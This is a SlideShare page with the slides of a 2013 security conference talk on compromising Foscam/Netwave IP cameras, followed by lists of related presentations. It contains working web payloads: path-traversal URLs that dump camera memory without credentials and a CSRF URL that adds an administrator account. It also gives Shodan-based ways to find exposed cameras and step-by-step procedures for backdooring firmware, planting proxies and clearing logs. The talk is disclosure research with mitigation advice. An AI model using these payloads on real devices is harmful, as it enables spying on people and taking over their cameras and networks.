SlideShare une entreprise Scribd logo
1  sur  37
To Watch Or To Be
Watched
Turning your surveillance camera against you
Sergey Shekyan
Artem Harutyunyan
Qualys, Inc.
Thursday, May 23, 13
Which one?
Thursday, May 23, 13
What can it do?
“Enjoy the convenience and peace of mind knowing that your loved ones and
personal belongings are safe and out of harm's way. Stream live video
and audio directly to your PC (Windows & Mac), Smartphone (Iphone/
Android/Blackberry) or Tablet PC (Ipad/Android/Windows 8).”
“Get instant notifications via email/ftp whenever motion is detected. Record
snapshots when anyone enters or exits your driveway, backyard, home or
business.”
“Foscam is designed to work right of the box - simply connect the camera
to your wireless network, setup port-forwarding and away
you go. Once properly configured, the camera operates independently without the
need for any computer.”
Text from product description on amazon.com
Thursday, May 23, 13
Camera (Foscam FI8910W)
Camera is built on Winbond
W90N745 board (32bit ARM7TDMI)
Runs uClinux (based on 2.4
Linux kernel)
Board Support Package is
available from the board
vendor
Any cheap MJPEG camera is
most likely uses the same core
Image from http://www.computersolutions.cn/
Thursday, May 23, 13
Component overview
Thursday, May 23, 13
Settings
Web UI
System
Software components
Thursday, May 23, 13
System firmware
Custom binary file to store compressed kernel
and ROMFS image, ~ 1.8Mb
header: magic, size of linux.bin, size of
romfs.img
linux.bin and romfs.img
romfs.img contains ‘camera’ binary and uClinux
boot scripts
Thursday, May 23, 13
linux.bin
00000000 50 4b 03 04 14 00 02 00 08 00 9c 40 62 40 52 be |PK.........@b@R.|
00000010 e3 97 6b df 0a 00 5c b7 15 00 09 00 00 00 6c 69 |..k..........li|
00000020 6e 75 78 2e 62 69 6e ec fd 0d 7c 54 c5 b9 07 8e |nux.bin...|T....|
00000030 cf d9 dd 24 4b 58 e1 24 9b 40 84 58 0e 10 6d c4 |...$KX.$.@.X..m.|
00000040 a8 07 88 36 6a 94 45 d0 52 a1 ba bc 29 b5 b4 8d |...6j.E.R...)...|
00000050 8a 96 de 62 8d 96 b6 dc 5e ac 9b 64 13 90 06 0c |...b....^..d....|
00000060 10 5e c4 68 b6 4a 7b d1 8b b7 b4 c5 96 6b 69 ef |.^.h.J{......ki.|
00000070 0a 68 a9 45 4b 15 5b 6b 69 3d bb 9b d3 84 2c 6d |.h.EK.[ki=....,m|
00000080 d3 96 f6 72 2d 75 7f df ef cc 6c 76 13 b1 2f f7 |...r-u....lv../.|
00000090 de df ef f3 ff 7c fe cd 87 61 f6 cc 99 33 af cf |.....|...a...3..|
000000a0 3c 6f f3 cc 33 22 1e 4b 3c 63 c6 52 af 8a 58 4a |<o..3".K<c.R..XJ|
PK003004 Zip
Thursday, May 23, 13
romfs.img
00000000 2d 72 6f 6d 31 66 73 2d 00 0f f1 d0 c2 40 52 e1 |-rom1fs-.....@R.|
00000010 72 6f 6d 20 35 31 34 34 37 36 37 61 00 00 00 00 |rom 5144767a....|
00000020 00 00 00 49 00 00 00 20 00 00 00 00 d1 ff ff 97 |...I... ........|
00000030 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000040 00 00 00 60 00 00 00 20 00 00 00 00 d1 d1 ff 80 |...`... ........|
00000050 2e 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000060 00 00 00 c9 00 00 00 80 00 00 00 00 8b 92 8e b7 |................|
00000070 74 6d 70 00 00 00 00 00 00 00 00 00 00 00 00 00 |tmp.............|
00000080 00 00 00 a0 00 00 00 60 00 00 00 00 d1 ff ff 00 |.......`........|
00000090 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
-rom1fs- ROMFS
http://lxr.linux.no/linux/Documentation/filesystems/romfs.txt
Thursday, May 23, 13
WebUI
Thursday, May 23, 13
WebUI
User
Agent
CGI
http://admin:pass@camera/videostream.cgi
http://camera/videostream.cgi?user=admin&pwd=pass
GET /live.htm HTTP/1.1
Authorization: Basic YWRtaW46cGFzcw==
==
Web
<img src = “videostream.cgi”>
==
+
Thursday, May 23, 13
WebUI Firmware
Custom binary file format to store static
content to be served by embedded web server,
~100Kb
header: magic, checksum, file size, version)
for each file: lengh of file name, file name,
type (dir|file), length of file, file
Thursday, May 23, 13
WebUI Firmware
00000000 bd 9a 0c 44 19 ae 08 05 f4 2f 0f 00 02 04 0a 02 |...D...../......|
00000010 0a 00 00 00 2f 61 64 6d 69 6e 2e 68 74 6d 01 20 |..../admin.htm. |
00000020 04 00 00 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 |...<html>..<head|
00000030 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 |>..<meta http-eq|
00000040 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 |uiv="Content-Typ|
00000050 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 |e" content="text|
00000060 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 |/html; charset=u|
00000070 74 66 2d 38 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 |tf-8">..<link re|
00000080 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 |l="stylesheet" h|
00000090 72 65 66 3d 22 73 74 79 6c 65 2e 63 73 73 22 20 |ref="style.css" |
000000a0 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e |type="text/css">|
Sum of all bytes
Thursday, May 23, 13
Settings section
Fixed size 5Kb data structure to store camera
configuration
header: magic, checksum, camera id, system
firmware version, webUI version, camera
alias
user/password, network settings, wifi, e-
mail, ftp, MSN credentials
Thursday, May 23, 13
Settings
00000000 bd 9a 0c 44 6f a1 00 00 34 15 00 00 30 30 36 32 |...Do...4...0062|
00000010 36 45 34 34 34 37 31 37 00 0b 25 02 2e 02 04 0a |6E444717..%.....|
00000020 03 63 61 6d 65 72 61 66 69 65 6c 64 64 64 64 64 |.camerafielddddd|
00000030 64 64 64 64 64 00 00 64 6d 69 6e 00 00 00 00 00 |ddddd..dmin.....|
00000040 00 00 00 61 61 61 00 00 00 00 00 00 00 00 00 00 |...aaa..........|
00000050 02 00 73 65 72 31 32 33 34 35 36 37 38 00 00 32 |..ser12345678..2|
00000060 33 34 35 36 37 38 39 30 31 32 00 00 00 6f 6f 6f |3456789012...ooo|
00000070 6f 6f 6f 6f 6f 6f 6f 6f 00 00 6f 6f 6f 6f 6f 6f |oooooooo..oooooo|
00000080 6f 6f 6f 6f 6f 00 00 00 00 00 00 00 00 00 00 00 |ooooo...........|
Sum of all bytes
Thursday, May 23, 13
Where are vulns?
Thursday, May 23, 13
Auth bypass/privilege
escalation
CVE-2013-2560 by Arnaud Calmejane and Frederic
Basse – allows to dump the entire memory,
with no credentials
http://cameraurl//proc/kcore
http://cameraurl//../proc/kcore
http://cameraurl/[existing path]/../../proc/kcore
http://operator_usr:operator_pwd@camera/
decoder_control.cgi?command=1&next_url=/proc/kcore
Thursday, May 23, 13
kcore
00000030 00 00 00 00 00 00 61 64 6d 69 6e 00 00 00 00 00 |......admin.....|
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000050 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000000f0 00 00 00 68 69 64 64 65 6e 5f 75 73 65 72 00 00 |...hidden_user..|
00000100 68 69 64 64 65 6e 5f 70 61 73 73 00 00 02 00 00 |hidden_pass.....|
00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
Thursday, May 23, 13
kcore
01923b0: 353a 3264 3762 0d5f 6170 706c 652d 6d6f 5:2d7b._apple-mo
01923c0: 6264 6576 045f 7463 7005 6c6f 6361 6c00 bdev._tcp.local.
01923d0: 00ff 0001 0a53 6c6f 7768 616d 6d65 72c0 .....Slowhammer.
...
0192470: 3604 6172 7061 0000 0c80 0100 0000 7800 6.arpa........x.
0192480: 02c0 a202 3133 0131 0130 0231 3007 696e ....13.1.0.10.in
0192490: 2d61 6464 72c0 f300 0c80 0100 0000 7800 -addr.........x.
...
01927f0: 6167 6963 426f 7820 7072 6f64 7563 743d agicBox product=
0192800: 2842 726f 7468 6572 2048 4c2d 3231 3430 (Brother HL-2140
0192810: 2073 6572 6965 7329 2372 703d 4272 6f74 series)#rp=Brot
Thursday, May 23, 13
CSRF
http://cameraurl/set_users.cgi?
user1=&pwd1=&pri1=2&user2=&pwd2=&
pri2=&user3=&pwd3=&pri3=&user4=&p
wd4=&pri4=&user5=&pwd5=&pri5=&use
r6=&pwd6=&pri6=&user7=&pwd7=&pri7
=&user8=csrf&pwd8=csrf&pri8=2&nex
t_url=http://www.google.com
Thursday, May 23, 13
Getting a camera ...
... In the wild
~2 out of 10 cameras brought by Shodan (www.shodanhq.com) will
authenticate you with ‘admin’ without password
The vast majority of cameras have firmware vulnerable to path traversal
vulnerability that allows authentication bypass
Login bruteforce of server basic authentication (so 90s, but THC Hydra does
a great job)
... Targeted
Targeted CSRF attacks will always work until they redesign authentication
Clickjacking
Thursday, May 23, 13
Got access. Now what?
Thursday, May 23, 13
What can you do?
Grab videostream, email, ftp, MSN, wifi credentials
It’s a Linux box on the Internet
Run arbitrary software (think botnet, proxies,
scanners)
Host malware
It’s a Linux box on the intranet too!
Attack victim’s browser (think BeEF)
Thursday, May 23, 13
Cameras in the wild:
SHODAN
Source: www.shodanhq.com: (search for ‘Netwave IP Camera’)
Port March 2013 May 2013
:80 83,894 251,722
:8080 16,565 27,258
:7777 408 310
:9200 358 265
:5000 90 137
Thursday, May 23, 13
Cameras in the wild:
SHODAN
Source: www.shodanhq.com: (search for ‘Netwave IP Camera’)
Countries March 2013 May 2013
USA 16,293 35,581
Germany 15,898 69,176
France 13,289 37,457
Thursday, May 23, 13
DDNS can help too
Camera vendors provide DDNS service
Foscam - XX####.myfoscam.org (e.g.
aa1234.myfoscam.org)
EasyN - XXXX.ipcam.hk (e.g. aaaa.ipcam.hk)
Apexis - X####.aipcam.com (e.g. a1234.aipcam.com)
Wansview - ###XXXX.nwsvr1.com (e.g.
123aaaa.nwsvr1.com)
Insteon - X#####. nwsvr1.com (e.g.
a12345.myipcamera.com)
Thursday, May 23, 13
DDNS can help too
Ports: 80, 8080, 7777, 8090
*.myfoscam.org
119597 valid IPs
10514 responded with ‘Server: Netwave IP Camera’
*.aipcam.com
15817 valid IPs
2290 responded with ‘Server: Netwave IP Camera’
Details at http://blog.shekyan.com/
Thursday, May 23, 13
DEMO
Create a backdoor
Add a hidden user to the camera
Add hook to victim’s browser
Host a malware
Host a proxy on the camera (inject new
code)
Details at http://blog.shekyan.com/
Thursday, May 23, 13
Altering Camera Web UI:
adding a hook to victim’s browser
Figure out version of the Web UI (CGI API)
Find the Web UI of the same version (internets)
Unpack (uiextract)
Add new code (patch)
Pack everything back (uipack)
Verify (uiextract)
Push back to the camera (CGI API)
Cleanup the log (CGI API)
github.com/artemharutyunyan/getmecamtool
Thursday, May 23, 13
Altering the camera firmware:
silently slipping a new code
Figure out version of the firmware (CGI API)
Find the firmware of the same version (internets)
Unpack the firmware (sysextract)
Add new code (prepare and cross-compile)
Pack everything back (mount, cp, genromfs, syspack)
Verify (sysextract)
Push back to the camera (CGI API)
Cleanup the log (CGI API)
github.com/artemharutyunyan/getmecamtool
Thursday, May 23, 13
Usecase: a proxy
GET / HTTP/1.1
Host:
CONNECT:
www.google.com:443
if(knows_im_a_proxy)
tunnel_the_connection();
else
connect_to_the_camera();
Internets
NAT
Thursday, May 23, 13
Demo doing all of the above
with a single command
$ ./getmecamtool -h
A script for demonstrating the work of camtool utilities
Usage: ./getmecamtool -c <cmd> [OPTIONS]
OPTIONS:
-c <cmd> command (availble commands are host_file inject_exec
inject_proxy poison_webui)
-a <addr> address of the camera
-u <username> username for accessing the camera
-p <password> password for accessing the camera
-e <exec> path to executable file for injecting to the camera
-k <args> arguments with which the executable has to run
-s <path> path to system firmware library folder
-i <inject username> username to create on the camera
-l <inject password> password for the new username
-w <webui patch> absolute path to the Web UI patch file
-o <new port> new port the camera firmware should listen on
-h display this message
$
github.com/artemharutyunyan/getmecamtool
Thursday, May 23, 13
DoS
Accepts ~80 concurrent
HTTP connections
Takes seconds to get DoS
Camera logs only
authenticated requests, so
no traces on the camera
Use slowhttptest to
simualte Application Layer
DoS attacks!
Thursday, May 23, 13
Making it (less in)secure
Ideally, do not expose the camera to oustide network.
However, if you absolutely have to, then ...
Use VPN
Use firewall/IPS with strict rules
Define authorized IPs (fail2ban)
Protect against bruteforce (throttle down connection rate)
Use reverse proxy
HTTPS transport
Override response headers
Isolate the camera from the internal network
Thursday, May 23, 13
Summary for
Hackers
You just learned something
... and got a toolkit for trying things out
Admins
Slowly start watching for traffic coming from “Netwave
IP Camera”
Users
Be careful exposing it
Thursday, May 23, 13
Q&A
@sshekyan
@hartem
Thursday, May 23, 13
References
http://www.openipcam.com/
http://sourceforge.net/projects/foscam-util/
http://www.foscam.es/descarga/
ipcam_cgi_sdk.pdf
http://www.computersolutions.cn/blog/
Thursday, May 23, 13

Contenu connexe

Similaire à 24may 1000 valday sergey shekyan artem harutyunyan 'to watch or to be watched'

Turning your surveillance camera against you
Turning your surveillance camera against youTurning your surveillance camera against you
Turning your surveillance camera against youSergey Shekyan
 
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root44CON
 
Building A Poor man’s Fir3Ey3 Mail Scanner
Building A Poor man’s Fir3Ey3 Mail ScannerBuilding A Poor man’s Fir3Ey3 Mail Scanner
Building A Poor man’s Fir3Ey3 Mail ScannerXavier Mertens
 
IBM Global Security Kit as a Cryptographic layer for IBM middleware
IBM Global Security Kit as a Cryptographic layer for IBM middlewareIBM Global Security Kit as a Cryptographic layer for IBM middleware
IBM Global Security Kit as a Cryptographic layer for IBM middlewareOktawian Powazka
 
Feldo: Function Event Listing and Dynamic Observing for Detecting and Prevent...
Feldo: Function Event Listing and Dynamic Observing for Detecting and Prevent...Feldo: Function Event Listing and Dynamic Observing for Detecting and Prevent...
Feldo: Function Event Listing and Dynamic Observing for Detecting and Prevent...Tzung-Bi Shih
 
20131015_demo_oshk
20131015_demo_oshk20131015_demo_oshk
20131015_demo_oshkJeff Yang
 
Vulnerable Out of the Box: An Evaluation of Android Carrier Devices
Vulnerable Out of the Box: An Evaluation of Android Carrier DevicesVulnerable Out of the Box: An Evaluation of Android Carrier Devices
Vulnerable Out of the Box: An Evaluation of Android Carrier DevicesPriyanka Aash
 
Red october. detailed malware description
Red october. detailed malware descriptionRed october. detailed malware description
Red october. detailed malware descriptionYury Chemerkin
 
ambil aja
ambil aja ambil aja
ambil aja muxander
 
Attacking the macOS Kernel Graphics Driver
Attacking the macOS Kernel Graphics DriverAttacking the macOS Kernel Graphics Driver
Attacking the macOS Kernel Graphics DriverPriyanka Aash
 
Ruler and Liniaal @ Troopers 17
Ruler and Liniaal @ Troopers 17Ruler and Liniaal @ Troopers 17
Ruler and Liniaal @ Troopers 17SensePost
 
Honeypots: Visão Geral
Honeypots: Visão GeralHoneypots: Visão Geral
Honeypots: Visão Geralbernardo_mr
 
Porting Valgrind to NetBSD and OpenBSD by Masao Uebayashi
Porting Valgrind to NetBSD and OpenBSD by Masao UebayashiPorting Valgrind to NetBSD and OpenBSD by Masao Uebayashi
Porting Valgrind to NetBSD and OpenBSD by Masao Uebayashieurobsdcon
 
InfoSec Taiwan 2023: APNIC Community Honeynet Project — Observations and Insi...
InfoSec Taiwan 2023: APNIC Community Honeynet Project — Observations and Insi...InfoSec Taiwan 2023: APNIC Community Honeynet Project — Observations and Insi...
InfoSec Taiwan 2023: APNIC Community Honeynet Project — Observations and Insi...APNIC
 
Web Anywhere: Mobile Optimisation With HTML5, CSS3, JavaScript
Web Anywhere: Mobile Optimisation With HTML5, CSS3, JavaScriptWeb Anywhere: Mobile Optimisation With HTML5, CSS3, JavaScript
Web Anywhere: Mobile Optimisation With HTML5, CSS3, JavaScriptbrucelawson
 
Smashing the stats for fun (and profit)
Smashing the stats for fun (and profit)Smashing the stats for fun (and profit)
Smashing the stats for fun (and profit)Security B-Sides
 
Threat Con 2021: What's Hitting my Honeypots
Threat Con 2021: What's Hitting my HoneypotsThreat Con 2021: What's Hitting my Honeypots
Threat Con 2021: What's Hitting my HoneypotsAPNIC
 
Badripatro dissertation 09307903
Badripatro dissertation 09307903Badripatro dissertation 09307903
Badripatro dissertation 09307903patrobadri
 

Similaire à 24may 1000 valday sergey shekyan artem harutyunyan 'to watch or to be watched' (20)

Turning your surveillance camera against you
Turning your surveillance camera against youTurning your surveillance camera against you
Turning your surveillance camera against you
 
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
 
Building A Poor man’s Fir3Ey3 Mail Scanner
Building A Poor man’s Fir3Ey3 Mail ScannerBuilding A Poor man’s Fir3Ey3 Mail Scanner
Building A Poor man’s Fir3Ey3 Mail Scanner
 
IBM Global Security Kit as a Cryptographic layer for IBM middleware
IBM Global Security Kit as a Cryptographic layer for IBM middlewareIBM Global Security Kit as a Cryptographic layer for IBM middleware
IBM Global Security Kit as a Cryptographic layer for IBM middleware
 
Feldo: Function Event Listing and Dynamic Observing for Detecting and Prevent...
Feldo: Function Event Listing and Dynamic Observing for Detecting and Prevent...Feldo: Function Event Listing and Dynamic Observing for Detecting and Prevent...
Feldo: Function Event Listing and Dynamic Observing for Detecting and Prevent...
 
C&C Botnet Factory
C&C Botnet FactoryC&C Botnet Factory
C&C Botnet Factory
 
20131015_demo_oshk
20131015_demo_oshk20131015_demo_oshk
20131015_demo_oshk
 
UDOO IoT Platform
UDOO IoT PlatformUDOO IoT Platform
UDOO IoT Platform
 
Vulnerable Out of the Box: An Evaluation of Android Carrier Devices
Vulnerable Out of the Box: An Evaluation of Android Carrier DevicesVulnerable Out of the Box: An Evaluation of Android Carrier Devices
Vulnerable Out of the Box: An Evaluation of Android Carrier Devices
 
Red october. detailed malware description
Red october. detailed malware descriptionRed october. detailed malware description
Red october. detailed malware description
 
ambil aja
ambil aja ambil aja
ambil aja
 
Attacking the macOS Kernel Graphics Driver
Attacking the macOS Kernel Graphics DriverAttacking the macOS Kernel Graphics Driver
Attacking the macOS Kernel Graphics Driver
 
Ruler and Liniaal @ Troopers 17
Ruler and Liniaal @ Troopers 17Ruler and Liniaal @ Troopers 17
Ruler and Liniaal @ Troopers 17
 
Honeypots: Visão Geral
Honeypots: Visão GeralHoneypots: Visão Geral
Honeypots: Visão Geral
 
Porting Valgrind to NetBSD and OpenBSD by Masao Uebayashi
Porting Valgrind to NetBSD and OpenBSD by Masao UebayashiPorting Valgrind to NetBSD and OpenBSD by Masao Uebayashi
Porting Valgrind to NetBSD and OpenBSD by Masao Uebayashi
 
InfoSec Taiwan 2023: APNIC Community Honeynet Project — Observations and Insi...
InfoSec Taiwan 2023: APNIC Community Honeynet Project — Observations and Insi...InfoSec Taiwan 2023: APNIC Community Honeynet Project — Observations and Insi...
InfoSec Taiwan 2023: APNIC Community Honeynet Project — Observations and Insi...
 
Web Anywhere: Mobile Optimisation With HTML5, CSS3, JavaScript
Web Anywhere: Mobile Optimisation With HTML5, CSS3, JavaScriptWeb Anywhere: Mobile Optimisation With HTML5, CSS3, JavaScript
Web Anywhere: Mobile Optimisation With HTML5, CSS3, JavaScript
 
Smashing the stats for fun (and profit)
Smashing the stats for fun (and profit)Smashing the stats for fun (and profit)
Smashing the stats for fun (and profit)
 
Threat Con 2021: What's Hitting my Honeypots
Threat Con 2021: What's Hitting my HoneypotsThreat Con 2021: What's Hitting my Honeypots
Threat Con 2021: What's Hitting my Honeypots
 
Badripatro dissertation 09307903
Badripatro dissertation 09307903Badripatro dissertation 09307903
Badripatro dissertation 09307903
 

Plus de Positive Hack Days

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesPositive Hack Days
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerPositive Hack Days
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesPositive Hack Days
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikPositive Hack Days
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQubePositive Hack Days
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityPositive Hack Days
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Positive Hack Days
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для ApproofPositive Hack Days
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Positive Hack Days
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложенийPositive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложенийPositive Hack Days
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application SecurityPositive Hack Days
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летPositive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиPositive Hack Days
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОPositive Hack Days
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке СиPositive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CorePositive Hack Days
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опытPositive Hack Days
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterPositive Hack Days
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиPositive Hack Days
 

Plus de Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 

Dernier

CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxLoriGlavin3
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningLars Bell
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfPrecisely
 
From Family Reminiscence to Scholarly Archive .
